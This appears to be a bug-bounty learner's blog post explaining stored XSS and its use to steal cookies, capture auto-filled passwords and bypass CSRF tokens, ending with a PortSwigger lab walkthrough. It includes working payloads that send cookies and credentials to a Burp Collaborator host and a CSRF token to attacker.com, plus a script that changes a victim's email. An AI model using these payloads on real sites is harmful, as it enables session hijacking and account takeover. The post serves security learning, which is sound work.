Stored XSS (also known as persistent or second-order XSS) arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.
The data in question might be submitted to the application via HTTP requests; for example, comments on a blog post, user nicknames in a chat room, or contact details on a customer order. In other cases, the data might arrive from other untrusted sources; for example, a webmail application displaying messages received over SMTP, a marketing application displaying social media posts, or a network monitoring application displaying packet data from network traffic.
Here is a simple example of a stored XSS vulnerability. A message board application lets users submit messages, which are displayed to other users:
<p>Hello, this is my message!</p>
The application doesn't perform any other processing of the data, so an attacker can easily send a message that attacks other users:
<p><script>/* Bad stuff here... */</script></p>
Impact of stored XSS attacks
If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. The attacker can carry out any of the actions that are applicable to the impact of reflected XSS vulnerabilities.
In terms of exploitability, the key difference between reflected and stored XSS is that a stored XSS vulnerability enables attacks that are self-contained within the application itself. The attacker does not need to find an external way of inducing other users to make a particular request containing their exploit. Rather, the attacker places their exploit into the application itself and simply waits for users to encounter it.
The self-contained nature of stored cross-site scripting exploits is particularly relevant in situations where an XSS vulnerability only affects users who are currently logged in to the application. If the XSS is reflected, then the attack must be fortuitously timed: a user who is induced to make the attacker's request at a time when they are not logged in will not be compromised. In contrast, if the XSS is stored, then the user is guaranteed to be logged in at the time they encounter the exploit.
Exploiting Stored XSS
The traditional way to prove that you've found a cross-site scripting vulnerability is to create a popup using the alert() function.
Exploiting to steal cookies
Stealing cookies is a traditional way to exploit XSS. Most web applications use cookies for session handling. You can exploit cross-site scripting vulnerabilities to send the victim's cookies to your own domain, then manually inject the cookies into the browser and impersonate the victim.
In practice, this approach has some significant limitations:
- The victim might not be logged in.
- Many applications hide their cookies from JavaScript using the
HttpOnlyflag. - Sessions might be locked to additional factors like the user's IP address.
- The session might time out before you're able to hijack it.
Payload in comment box :
<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>Exploiting to capture passwords
These days, many users have password managers that auto-fill their passwords. You can take advantage of this by creating a password input, reading out the auto-filled password, and sending it to your own domain. This technique avoids most of the problems associated with stealing cookies, and can even gain access to every other account where the victim has reused the same password.
The primary disadvantage of this technique is that it only works on users who have a password manager that performs password auto-fill. (Of course, if a user doesn't have a password saved you can still attempt to obtain their password through an on-site phishing attack, but it's not quite the same.)
Payload in comment box :
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">1. Username field
<input name=username id=username>- Creates a normal text input field for the username.
id=usernameallows JavaScript to easily access whatever the user types.
👉 Nothing malicious here by itself.
2. Password field
<input type=password name=password ...- Creates a password input field (text is hidden as dots).
- Still looks completely normal to the user.
3. onchange event (the trigger)
onchange="..."- This runs JavaScript when the user finishes typing and leaves the password field.
- So the attack happens silently after the user enters their password.
4. Condition check
if(this.value.length)- Checks if the password field is not empty.
- Prevents sending empty data.
5. The fetch request (data exfiltration)
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {- Sends data to an attacker-controlled server.
BURP-COLLABORATOR-SUBDOMAINis typically a tracking server used by attackers (or testers).
6. Request method
method: 'POST'- Sends data using an HTTP POST request.
7. no-cors mode
mode: 'no-cors'- Allows the request to be sent without being blocked by browser security (CORS).
- The attacker doesn't need to see the response — just sending the data is enough.
8. The stolen data
body: username.value + ':' + this.valueCombines
username.value→ what the user typed in usernamethis.value→ the password
Sends it in format: username:password
What is onchange?
onchange is an event handler in HTML/JavaScript.
It runs some code when a user changes the value of an input field and then clicks away (loses focus).
👉 Important: It does not trigger while typing, only after the user finishes and moves out of the field.
Simple Example (Normal Use)
<input type="text" onchange="alert('You changed the text!')">What happens:
- User types something in the input box
- User clicks somewhere else
- An alert pops up saying: "You changed the text!"
Now connect this to the payload
<input type="password" onchange="stealData()">Here, instead of showing an alert, it runs a function (stealData()).
Realistic Example (Simplified Attack Logic)
<input id="username">
<input type="password" onchange="
console.log(username.value + ':' + this.value)
">Step-by-step:
- User enters username →
john - User enters password →
mypassword - User clicks outside the password field
onchangetriggers- Output becomes:
- john:mypassword
Before moving to next exploitation let's look at what are CSRF token and CSRF attack , because the next exploitation is related to CSRF token
🛡️ What is a CSRF Token? (Simple Idea)
A CSRF (Cross-Site Request Forgery) token is a random secret value used to make sure that a request is actually sent by the real user from the real website — not by an attacker.
🧠 Why CSRF exists (Core Problem)
Browsers do something important:
👉 They automatically send cookies with every request.
So if you're logged into YouTube, your browser will send your login cookie even if a request is triggered from a malicious website.
💥 This is the root of CSRF attacks.
🎬 Step-by-Step Flow (Complete Scenario)
🟢 Step 1: User logs in
👤 User:
Enters username and password on YouTube
🖥️ Server:
- Verifies credentials
- Creates:
session_id = abc123
csrf_token = XYZ789
Stores it:
abc123 → XYZ789- Sends back: Cookie:
Set-Cookie: session_id=abc123Also sends HTML page containing CSRF token:
<input type="hidden" name="csrf_token" value="XYZ789">🌐 Browser:
- Stores cookie automatically
- Loads page (with CSRF token inside it)
🔐 Important Concept
👉 CSRF token is:
- Inside the webpage (HTML)
- Not automatically sent like cookies
🟢 Step 2: Legitimate request
User performs an action (e.g., change password)
🌐 Browser sends:
POST /change-password
Cookie: session_id=abc123
csrf_token=XYZ789🖥️ Server verifies:
- Reads session_id → gets stored CSRF token
- Compares:
Expected: XYZ789
Received: XYZ789 ✅ 👉 Request is allowed
🔴 Step 3: CSRF Attack Attempt
User visits a malicious website.
😈 Attacker creates:
<form action="https://youtube.com/change-password" method="POST">
<input name="password" value="hacked123">
</form>
<script>
document.forms[0].submit();
</script>🌐 Browser sends:
POST /change-password
Cookie: session_id=abc123👉 Cookie is sent automatically 👉 But no CSRF token
🖥️ Server checks:
Expected: XYZ789
Received: (nothing) ❌👉 Request is rejected
🔐 Why attacker fails
Because:
- CSRF token is stored inside the real website page
- Attacker's website cannot read that page
- So attacker cannot get the correct token
This protection is enforced by the browser's Same-Origin Policy
🔍 Important Clarifications
Are CSRF tokens hidden?
- Often stored in:
<input type="hidden">✔ Not visible on screen ❌ But visible in browser dev tools
👉 So: Hidden ≠ Secret
Does CSRF token change?
Depends on implementation:
- Per session (common)
- Per request (more secure)
- Rotating tokens
🚨Can attacker steal CSRF token?
❌ Normally → NO ✔ Only if XSS vulnerability exists But ONLY if the token is accessible in the page (DOM/HTML/JS)
🔥 Why it's possible
When you have XSS, your script runs inside the real site (same origin) → It means the protection of CSRF token which is same origin policy is not a problem while website is XSS vulnerable
So you can read:
- page HTML
- form fields
- JavaScript variables
🧪 Example (CSRF token in form)
Website has:
<inputtype="hidden"name="csrf"value="abc123">Your payload:
<script>
vartoken=document.querySelector('[name=csrf]').value;
fetch('<https://attacker.com?csrf='+token>);
</script>💥 Result
👉 Token gets sent to attacker
❗ When it will NOT work
1️⃣ If token is NOT in DOM
If server:
- keeps token only internally
- or sends via secure headers
👉 ❌ You can't access it
2️⃣ If strict protections exist
Like:
- strong Content Security Policy (CSP)
- sandboxing
Exploiting XSS to bypass CSRF protections
XSS enables an attacker to do almost anything a legitimate user can do on a website. By executing arbitrary JavaScript in a victim's browser, XSS allows you to perform a wide range of actions as if you were the victim user. For example, you might make a victim send a message, accept a friend request, commit a backdoor to a source code repository, or transfer some Bitcoin.
Some websites allow logged-in users to change their email address without re-entering their password. If you've found an XSS vulnerability on one of these sites, you can exploit it to steal a CSRF token. With the token, you can change the victim's email address to one that you control. You can then trigger a password reset to gain access to the account.
This type of exploit combines XSS (to steal the CSRF token) with the functionality typically targeted by CSRF. While traditional CSRF is a "one-way" vulnerability, where the attacker can induce the victim to send requests but cannot see the responses, XSS enables "two-way" communication. This enables the attacker to both send arbitrary requests and read the responses, resulting in a hybrid attack that bypasses anti-CSRF defenses.
CSRF tokens are ineffective against XSS because XSS lets attackers read token values directly from responses.
Through the walkthrough of a lab which i solved in port swigger i will explain this exploitation
The lab had a stored XSS vulnerability in the blog comments function, because of which we can steal the CSRF token and change the email of the user. Lab gave username and password of a random user wiener:peter
After Logging in using the credentials provided. On your user account page, noticed the function for updating email address.

- went through the page source and got the following information:
- we need to issue a POST request to
/my-account/change-email, with a parameter calledemail. - There's an anti-CSRF token in a hidden input called
token. - This means our exploit will need to load the user account page, extract the CSRF token, and then use the token to change the victim's email address.
Used following payload in the comment box to check: <script>alert(1)</script> → triggered alert
Now used the actual payload and it worked :
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>What this payload does (simple flow)
- Victim loads a page containing this script (via XSS)
- Script fetches
/my-account - Extracts CSRF token from the page
- Sends a request to change the email
- Email gets changed without the user knowing
The payload :
- Bypasses CSRF protection (because it steals the token)
- Uses the victim's session (already logged in)
- Performs real actions (account takeover possible)
Stored xss context
There are many different varieties of stored cross-site scripting. The location of the stored data within the application's response determines what type of payload is required to exploit it and might also affect the impact of the vulnerability.
In addition, if the application performs any validation or other processing on the data before it is stored, or at the point when the stored data is incorporated into responses, this will generally affect what kind of XSS payload is needed.
Generally the context of stored xss will be comment box
I've explained all contexts in my privious article
13v! Bug Bounty Learner | H@ppie H@ck!nG